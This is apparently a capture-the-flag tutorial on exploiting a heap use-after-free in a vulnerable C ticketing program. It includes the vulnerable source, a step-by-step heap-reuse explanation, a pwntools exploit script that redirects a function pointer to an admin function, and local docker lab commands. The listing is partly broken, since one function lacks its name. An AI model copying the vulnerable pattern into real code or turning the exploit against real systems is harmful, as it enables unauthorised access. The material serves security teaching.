The exploitation of a Use After Free (UAF) depend on the program implementation. With this example, the attacker can exploit an UAF in order to jump to an arbitrary function : "admin"
Source code
The program had 2 files :
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include "ticket.h"
char login(void){
char username[16] = "";
char password[16] = "";
char secret[16] = "";
char c;
FILE *fp = fopen(".passwd", "r");
fread(secret, 1, 15, fp);
fclose(fp);
secret[15] = '\0';
printf("Username: ");
fgets(username, sizeof(username), stdin);
fflush(stdout);
if (username[strlen(username)-1] == '\n'){
username[strlen(username) -1] = '\0';
}
username[strlen(username)] = '\0';
printf("Password: ");
fflush(stdin);
fgets(password, sizeof(password), stdin);
if (password[strlen(password)-1] == '\n'){
password[strlen(password) -1] = '\0';
}
if (strcmp(password, secret) == 0 && strcmp(username, "admin") == 0) {
return 1;
} else {
return 0;
}
}
void admin(void){
printf("Welcome Admin !\n");
char i, c = 1;
while(c){
printf("What to do you want to do ?\n");
printf("1 - List all tickets\n");
printf("2 - Read ticket\n");
printf("3 - Close ticket\n");
printf("0 - Exit\n");
printf("Choice > ");
scanf("%hhd", &i);
printf("\e[1;1H\e[2J");
switch (i) {
case 0:
c = 0;
break;
default:
printf("Function not yet implemented !\n");
}
}
}
void add_ticket(int *count, ticket **ticket_list){
int i;
if(*count > 4){
printf("Error, ticket list is already full... \n");
return;
}
for (i=(int)sizeof(ticket_list)-1;i>0;--i){
ticket_list[i] = ticket_list[i-1];
}
ticket_list[0] = ticket_create();
printf("ticket %p\n", ticket_list[*count]);
*count = *count + 1;
}
void del_ticket(int *count, ticket **ticket_list){
char buf[4];
int id;
ticket *tmp;
printf("Index to remove :");
fgets(buf, sizeof(buf),stdin);
id = atoi(buf);
if (id < 0 || id >= *count) {
printf("Out of bound!");
return;
}
tmp = ticket_list[id];
ticket_list[id] = ticket_list[*count-1];
ticket_list[*count-1] = tmp;
ticket_del(tmp);
free(tmp);
*count = *count-1;
}
void display_tickets(int *count, ticket **ticket_list){
int id = 0;
if(*count == 0){
printf("There is no tickets to display\n");
return;
}
for(id = 0; id<*count;++id){
printf("id : %d\n", id);
ticket_list[id]->display(ticket_list[id]);
}
}
void (int *count, ticket **ticket_list){
int id = 0;
char buf[8];
if(*count == 0){
printf("There is no tickets to display\n");
return;
}
printf("Index to read :");
fgets(buf, sizeof(buf),stdin);
id = atoi(buf);
printf("id : %d\n", id);
if(id >= 0 && id < sizeof(ticket_list)){
ticket_list[id]->display(ticket_list[id]);
}
}
void guest(void){
char buf[8];
ticket *ticket_list[5];
int count = 0;
printf("Welcome guest.\n");
char i, c = 1;
while(c){
printf("Press enter char to continue...");
getchar();
printf("\e[1;1H\e[2J");
printf("What to do you want to do ?\n");
printf("1 - Get current tickets\n");
printf("2 - Read ticket\n");
printf("3 - Create ticket\n");
printf("4 - Delete ticket\n");
printf("5 - Submit tickets\n");
printf("0 - Exit\n");
printf("Choice > ");
fgets(buf, sizeof(buf), stdin);
i = buf[0];
printf("\e[1;1H\e[2J");
switch (i) {
case '0':
c = 0;
break;
case '1':
display_tickets(&count, ticket_list);
break;
case '2':
read_ticket(&count, ticket_list);
break;
case '3':
add_ticket(&count, ticket_list);
break;
case '4':
del_ticket(&count, ticket_list);
break;
default:
printf("Function not yet implemented !\n");
}
}
}
int main(void) {
printf("\e[1;1H\e[2J");
char userType = 0;
printf("Welcome, please login.\n");
userType = login();
printf("\e[1;1H\e[2J");
if (userType == 1) {
admin();
} else {
guest();
}
}
This function will create a ticket in memory and return the pointer ( used by the add_ticket() function )
First, the function will allocate a chunk to store the struct at the size of the struct ( 40 bytes )
The title is ask for the user and stored into the memory
A content size is require and used to allocate chunk to store the ticket content
the content is ask and stored into the memory
Note: The user can define the malloc size and then choose the type of bin used.
Exploitation
Let's resume the important parts for the exploitation :
Tickets can be created and stored into a chunk of size 40 bytes
Content can be created and stored into a chunk of an arbitrary size
Tickets have a function pointer used to print itself contents and title with a specific format
Tickets can be freed
Unless the ticket its freed, it can be accessible using the read_ticket()function.
The objective is to rewrite a Ticket struct memory using a memory reallocation and use it as a ticket (Use after free) to call the display function.
Because the ticket object will be overwrite, the display function can point to an arbitrary function... here it will be admin()
The process to do that is simple :
Create a ticket with a content of size != 40
A chunk will be allocated to store the ticket from a fastbin of size 40 and another from another bin to store the content.
Create a second ticket with a content of size !=40
As for the first ticket, a chunk of size 40 is allocated to store the ticket and another chuck from another bin to store the content.
free the first ticket
The two previously allocated chunk ( for ticket and for content ) was freed and push onto respective bins
free the second ticket
The two previously allocated chunk ( for ticket and for content ) was freed and push onto respective bins
Create a third ticket with a content of size 40 with the targeted function address as value
The chuck of the second ticket will be reallocated to this ticket and the chunk for the first ticket will be reallocated for the content !
Read the first ticket ( placed at the end of the ticket_list due to the swap when free )
The first ticket has now the value of the content of the third ticket due to the reallocation. The display pointer is overwritten by the admin() address
Here is a python code to do that :
from pwn import *
elf = context.binary = ELF("./chall")
p = process()
target = p64(0x401742) # `admin()` function address
def login():
p.recvline()
p.sendline(b'a')
p.recv(timeout=1)
p.sendline(b'a')
p.recv(timeout=1)
def choice(c):
p.sendline()
a = p.recvuntil(b"Exit")
p.sendline(c)
def create(title, size, content):
choice(b'3')
p.sendline(title)
p.sendline(size)
p.sendline(content)
def delete(index):
choice(b'4')
p.sendline(index)
login()
# Create the first ticket with a content size = 80
create(b'title', b'80', b'test')
# Create the second ticket with a content size = 80
create(b'title', b'80', b'test')
# Delete the first ticket
delete(b'0')
# Delete the second ticket
delete(b'0')
# Create a third ticket with a size = sizeof(ticket)
create(b'exploit', b'40', target)
# read the second ticket
choice(b'2')
p.sendline(b'2')
p.interactive()
p.close()
$ python3 exploit.py
[*] './chall'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)
[+] Starting local process './chall': pid 220
Welcome Admin !
What to do you want to do ?
1 - List all tickets
2 - Read ticket
3 - Close ticket
0 - Exit
Choice >
Exercice
If you want to try this exploit by yourself, you can pull this docker image :
docker pull thectfrecipes/pwn:use_after_free
Deploy the image using the followed command :
docker run --name use_after_free -it --rm -d -p 3000:3000 thectfrecipes/pwn:use_after_free
Access to the web shell with your browser at the address : http://localhost:3000/